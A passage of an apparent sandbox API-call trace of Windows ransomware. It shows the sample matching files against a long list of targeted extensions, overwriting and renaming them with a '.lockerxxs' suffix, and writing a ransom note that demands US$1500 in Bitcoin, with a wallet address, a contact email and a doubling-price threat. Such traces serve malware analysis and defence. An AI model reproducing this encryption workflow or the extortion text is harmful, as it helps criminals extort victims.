PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0069.035] lstrlenA (lpString="*.pptx") returned 6 [0069.035] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0069.036] lstrlenA (lpString="*.doc") returned 5 [0069.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0069.036] lstrlenA (lpString="*.dot") returned 5 [0069.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0069.036] lstrlenA (lpString="*.docx") returned 6 [0069.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0069.036] lstrlenA (lpString="*.7z") returned 4 [0069.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0069.036] lstrlenA (lpString="*.tar") returned 5 [0069.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0069.036] lstrlenA (lpString="*.bz2") returned 5 [0069.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0069.036] lstrlenA (lpString="*.gz") returned 4 [0069.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0069.036] lstrlenA (lpString="*.mkv") returned 5 [0069.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0069.036] lstrlenA (lpString="*.eml") returned 5 [0069.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0069.036] lstrlenA (lpString="*.msg") returned 5 [0069.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0069.036] lstrlenA (lpString="*.edb") returned 5 [0069.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0069.036] lstrlenA (lpString="*.accdb") returned 7 [0069.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0069.036] lstrlenA (lpString="*.odb") returned 5 [0069.036] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.java") returned 0 [0069.037] lstrlenA (lpString="*.java") returned 6 [0069.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0069.037] lstrlenA (lpString="*.asm") returned 5 [0069.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0069.037] lstrlenA (lpString="*.pfx") returned 5 [0069.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0069.037] lstrlenA (lpString="*.pem") returned 5 [0069.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0069.037] lstrlenA (lpString="*.p12") returned 5 [0069.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0069.037] lstrlenA (lpString="*.gpg") returned 5 [0069.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0069.037] lstrlenA (lpString="*.vsd") returned 5 [0069.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0069.037] lstrlenA (lpString="*.odg") returned 5 [0069.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0069.037] lstrlenA (lpString="*.raw") returned 5 [0069.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0069.037] lstrlenA (lpString="*.nef") returned 5 [0069.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0069.037] lstrlenA (lpString="*.svg") returned 5 [0069.037] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0069.037] lstrlenA (lpString="*.psd") returned 5 [0069.038] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0069.038] lstrlenA (lpString="*.vmx") returned 5 [0069.038] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0069.038] lstrlenA (lpString="*.vmdk") returned 6 [0069.038] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0069.038] lstrlenA (lpString="*.vdi") returned 5 [0069.038] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0069.038] lstrlenA (lpString="*.lay6") returned 6 [0069.038] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0069.038] lstrlenA (lpString="*.mpeg") returned 6 [0069.038] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0069.038] lstrlenA (lpString="*.djvu") returned 6 [0069.038] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0069.038] lstrlenA (lpString="*.tiff") returned 6 [0069.038] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0069.038] lstrlenA (lpString="*.backup") returned 8 [0069.038] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0069.038] lstrlenA (lpString="*.pdf") returned 5 [0069.038] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf" [0069.038] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf" [0069.038] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf." [0069.038] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf.lockerxxs" [0069.038] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.039] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13d46 [0069.039] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9c36ae00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a04a60, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9c36ae00, dwHighDateTime=0x1cb84b4)) returned 1 [0069.039] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.039] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x13d20, lpOverlapped=0x0) returned 1 [0069.043] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf") returned="DefaultID.pdf" [0069.044] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.044] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x13d20, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x13d20, lpOverlapped=0x0) returned 1 [0069.044] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.044] CloseHandle (hObject=0x94) returned 1 [0069.046] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky\\defaultid.pdf.lockerxxs")) returned 1 [0069.047] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0069.047] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.047] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="SLV", cAlternateFileName="")) returned 1 [0069.047] lstrcmpA (lpString1=".", lpString2="SLV") returned -1 [0069.047] lstrcmpA (lpString1="..", lpString2="SLV") returned -1 [0069.047] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0069.047] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="SLV" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV" [0069.047] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV") returned 63 [0069.048] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.049] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.049] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.049] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.049] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.049] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6133, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0069.049] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.049] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0069.049] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0069.049] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0069.049] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\*.*") returned="*.*" [0069.049] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\" [0069.049] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\") returned="" [0069.050] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\HOW TO DECRYPT FILES.txt" [0069.050] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\how to decrypt files.txt")) returned 0xffffffff [0069.050] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\slv\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.051] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.051] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.053] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.053] CloseHandle (hObject=0x94) returned 1 [0069.053] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf" [0069.054] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0069.054] lstrlenA (lpString="*.ems") returned 5 [0069.054] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.db") returned 0 [0069.054] lstrlenA (lpString="*.db") returned 4 [0069.054] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0069.054] lstrlenA (lpString="*.dbf") returned 5 [0069.054] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0069.054] lstrlenA (lpString="*.myox") returned 6 [0069.054] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0069.054] lstrlenA (lpString="*.myo") returned 5 [0069.054] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0069.054] lstrlenA (lpString="*.qbw") returned 5 [0069.054] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0069.054] lstrlenA (lpString="*.qbb") returned 5 [0069.054] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0069.054] lstrlenA (lpString="*.qbm") returned 5 [0069.054] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0069.054] lstrlenA (lpString="*.qbo") returned 5 [0069.055] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0069.055] lstrlenA (lpString="*.qbx") returned 5 [0069.055] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0069.055] lstrlenA (lpString="*.qba") returned 5 [0069.055] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0069.055] lstrlenA (lpString="*.qby") returned 5 [0069.055] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0069.055] lstrlenA (lpString="*.qbj") returned 5 [0069.055] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0069.055] lstrlenA (lpString="*.ofx") returned 5 [0069.055] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0069.055] lstrlenA (lpString="*.qif") returned 5 [0069.055] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0069.055] lstrlenA (lpString="*.mye") returned 5 [0069.055] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0069.055] lstrlenA (lpString="*.mbox") returned 6 [0069.055] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0069.055] lstrlenA (lpString="*.eml") returned 5 [0069.055] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0069.056] lstrlenA (lpString="*.pst") returned 5 [0069.056] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0069.056] lstrlenA (lpString="*.ost") returned 5 [0069.056] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0069.056] lstrlenA (lpString="*.idx") returned 5 [0069.056] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0069.056] lstrlenA (lpString="*.dbx") returned 5 [0069.056] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0069.056] lstrlenA (lpString="*.sql") returned 5 [0069.056] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0069.056] lstrlenA (lpString="*.mdb") returned 5 [0069.056] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0069.056] lstrlenA (lpString="*.fdb") returned 5 [0069.056] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0069.056] lstrlenA (lpString="*.wab") returned 5 [0069.056] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0069.056] lstrlenA (lpString="*.dat") returned 5 [0069.056] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0069.056] lstrlenA (lpString="*.txt") returned 5 [0069.056] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0069.056] lstrlenA (lpString="*.jpeg") returned 6 [0069.056] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0069.056] lstrlenA (lpString="*.jpg") returned 5 [0069.056] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.png") returned 0 [0069.056] lstrlenA (lpString="*.png") returned 5 [0069.056] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.php") returned 0 [0069.057] lstrlenA (lpString="*.php") returned 5 [0069.057] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0069.057] lstrlenA (lpString="*.cs") returned 4 [0069.057] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SLV\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0069.057] 